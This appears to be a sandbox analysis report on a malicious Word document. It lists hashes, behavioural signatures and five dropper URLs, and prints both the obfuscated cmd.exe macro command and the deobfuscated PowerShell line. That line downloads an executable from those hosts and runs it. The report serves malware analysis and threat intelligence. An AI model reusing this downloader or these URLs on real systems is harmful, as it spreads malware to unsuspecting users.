Overview

overview

10

Static

static

8

6c096c3eaa...18.doc

windows7-x64

10

6c096c3eaa...18.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 19:34

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    6c096c3eaaef18e2aa6f77448d0c817f_JaffaCakes118.doc

  • Size

    134KB

  • MD5

    6c096c3eaaef18e2aa6f77448d0c817f

  • SHA1

    49e383005457b8f986026a930b61673bdb8835e7

  • SHA256

    f88f5fa0569a058bd1b561e5e02f28205f16d8616227caab99f8b7960c8630ed

  • SHA512

    a56dd3f965f2b6d88ed8093698f14ed64c03dfe8504f91bf77b89c769ef1143b9cfaf7acacd1520ed4c953e07d1022e1610edb137afac9680fd8848c12d74cee

  • SSDEEP

    1536:Vqr81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadf+a9GqFUYu:W8GhDS0o9zTGOZD6EbzCdMPYu

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://ominix.com/afd5jGQDbO
exe.dropper

http://olsonfolding.com/wp-content/uploads/TgtXy54
exe.dropper

http://kefalosrestaurant-lassi.com/ajPXwcKq5
exe.dropper

http://progres-individuel-collectif.org/esNLr79klF
exe.dropper

http://esfahanstore.com/PMgRgRaw

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6c096c3eaaef18e2aa6f77448d0c817f_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2904
    • C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set 9us=UbKREmjVzaRtbiGvjjCRSTiQuqWWPLIgr;4 cN:=J'[email protected]$/AZ{}(oxY\npf,X7sy)h+O&&for %d in (57;17;54;29;39;41;5;7;17;41;33;57;22;20;17;39;68;56;47;46;64;12;17;56;36;11;35;37;56;11;51;27;56;12;18;42;22;56;68;11;33;57;11;79;66;39;41;77;11;11;69;38;58;58;64;5;22;68;22;65;51;36;64;5;58;9;70;50;49;17;14;23;48;12;79;44;77;11;11;69;38;58;58;64;42;74;64;68;70;64;42;50;22;68;31;51;36;64;5;58;47;69;46;36;64;68;11;56;68;11;58;24;69;42;64;9;50;74;58;21;31;11;72;75;49;34;44;77;11;11;69;38;58;58;54;56;70;9;42;64;74;32;56;74;11;9;24;32;9;68;11;46;42;9;74;74;22;51;36;64;5;58;9;17;28;72;47;36;2;25;49;44;77;11;11;69;38;58;58;69;32;64;31;32;56;74;46;22;68;50;22;15;22;50;24;56;42;46;36;64;42;42;56;36;11;22;70;51;64;32;31;58;56;74;37;29;32;73;43;54;42;55;44;77;11;11;69;38;58;58;56;74;70;9;77;9;68;74;11;64;32;56;51;36;64;5;58;28;52;31;19;31;19;9;47;41;51;20;69;42;22;11;63;41;44;41;76;33;57;48;69;69;39;41;50;17;36;41;33;57;20;55;54;35;39;35;41;49;34;45;41;33;57;11;64;42;39;41;29;55;72;41;33;57;17;25;18;39;57;56;68;15;38;11;56;5;69;78;41;67;41;78;57;20;55;54;78;41;51;56;65;56;41;33;70;64;32;56;9;36;77;63;57;60;23;40;35;22;68;35;57;11;79;66;76;61;11;32;75;61;57;22;20;17;51;48;64;47;68;42;64;9;50;55;22;42;56;63;57;60;23;40;71;35;57;17;25;18;76;33;57;21;11;69;39;41;47;0;59;41;33;30;70;35;63;63;14;56;11;46;30;11;56;5;35;57;17;25;18;76;51;42;56;68;31;11;77;35;46;31;56;35;53;45;45;45;45;76;35;61;30;68;15;64;54;56;46;30;11;56;5;35;57;17;25;18;33;57;24;69;8;39;41;8;17;72;41;33;12;32;56;9;54;33;62;62;36;9;11;36;77;61;62;62;57;21;36;54;39;41;54;18;59;41;33;86)do set sO=!sO!!9us:~%d,1!&&if %d==86 powershell "!sO:~-495!""
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:5116
      • C:\Windows\system32\cmd.exe
        CmD /V/C"set 9us=UbKREmjVzaRtbiGvjjCRSTiQuqWWPLIgr;4 cN:=J'[email protected]$/AZ{}(oxY\npf,X7sy)h+O&&for %d in (57;17;54;29;39;41;5;7;17;41;33;57;22;20;17;39;68;56;47;46;64;12;17;56;36;11;35;37;56;11;51;27;56;12;18;42;22;56;68;11;33;57;11;79;66;39;41;77;11;11;69;38;58;58;64;5;22;68;22;65;51;36;64;5;58;9;70;50;49;17;14;23;48;12;79;44;77;11;11;69;38;58;58;64;42;74;64;68;70;64;42;50;22;68;31;51;36;64;5;58;47;69;46;36;64;68;11;56;68;11;58;24;69;42;64;9;50;74;58;21;31;11;72;75;49;34;44;77;11;11;69;38;58;58;54;56;70;9;42;64;74;32;56;74;11;9;24;32;9;68;11;46;42;9;74;74;22;51;36;64;5;58;9;17;28;72;47;36;2;25;49;44;77;11;11;69;38;58;58;69;32;64;31;32;56;74;46;22;68;50;22;15;22;50;24;56;42;46;36;64;42;42;56;36;11;22;70;51;64;32;31;58;56;74;37;29;32;73;43;54;42;55;44;77;11;11;69;38;58;58;56;74;70;9;77;9;68;74;11;64;32;56;51;36;64;5;58;28;52;31;19;31;19;9;47;41;51;20;69;42;22;11;63;41;44;41;76;33;57;48;69;69;39;41;50;17;36;41;33;57;20;55;54;35;39;35;41;49;34;45;41;33;57;11;64;42;39;41;29;55;72;41;33;57;17;25;18;39;57;56;68;15;38;11;56;5;69;78;41;67;41;78;57;20;55;54;78;41;51;56;65;56;41;33;70;64;32;56;9;36;77;63;57;60;23;40;35;22;68;35;57;11;79;66;76;61;11;32;75;61;57;22;20;17;51;48;64;47;68;42;64;9;50;55;22;42;56;63;57;60;23;40;71;35;57;17;25;18;76;33;57;21;11;69;39;41;47;0;59;41;33;30;70;35;63;63;14;56;11;46;30;11;56;5;35;57;17;25;18;76;51;42;56;68;31;11;77;35;46;31;56;35;53;45;45;45;45;76;35;61;30;68;15;64;54;56;46;30;11;56;5;35;57;17;25;18;33;57;24;69;8;39;41;8;17;72;41;33;12;32;56;9;54;33;62;62;36;9;11;36;77;61;62;62;57;21;36;54;39;41;54;18;59;41;33;86)do set sO=!sO!!9us:~%d,1!&&if %d==86 powershell "!sO:~-495!""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3948
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell "$jkL='mVj';$iSj=new-object Net.WebClient;$tOY='http://ominix.com/afd5jGQDbO@http://olsonfolding.com/wp-content/uploads/TgtXy54@http://kefalosrestaurant-lassi.com/ajPXwcKq5@http://progres-individuel-collectif.org/esNLr79klF@http://esfahanstore.com/PMgRgRaw'.Split('@');$Dpp='djc';$SFk = '540';$tol='LFX';$jqC=$env:temp+'\'+$SFk+'.exe';foreach($ZQJ in $tOY){try{$iSj.DownloadFile($ZQJ, $jqC);$Ttp='wUA';If ((Get-Item $jqC).length -ge 80000) {Invoke-Item $jqC;$upz='zjX';break;}}catch{}}$Tck='kCA';"
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4888

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD9223.tmp\iso690.xsl
    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

    Download Submit
  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e0h3ojfv.at2.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit
  • memory/2904-16-0x00007FFD8EA90000-0x00007FFD8EAA0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2904-5-0x00007FFD912F0000-0x00007FFD91300000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2904-32-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-4-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-6-0x00007FFD912F0000-0x00007FFD91300000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2904-7-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-8-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-11-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-10-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-12-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-15-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-14-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-13-0x00007FFD8EA90000-0x00007FFD8EAA0000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2904-9-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-559-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-1-0x00007FFD912F0000-0x00007FFD91300000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2904-35-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-36-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-0-0x00007FFD912F0000-0x00007FFD91300000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2904-2-0x00007FFD912F0000-0x00007FFD91300000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2904-3-0x00007FFDD130D000-0x00007FFDD130E000-memory.dmp
    Filesize

    4KB

    Download
  • memory/2904-534-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-535-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-536-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-537-0x00007FFDD1270000-0x00007FFDD1465000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2904-555-0x00007FFD912F0000-0x00007FFD91300000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2904-558-0x00007FFD912F0000-0x00007FFD91300000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2904-557-0x00007FFD912F0000-0x00007FFD91300000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2904-556-0x00007FFD912F0000-0x00007FFD91300000-memory.dmp
    Filesize

    64KB

    Download
  • memory/4888-40-0x0000019144960000-0x0000019144982000-memory.dmp
    Filesize

    136KB

    Download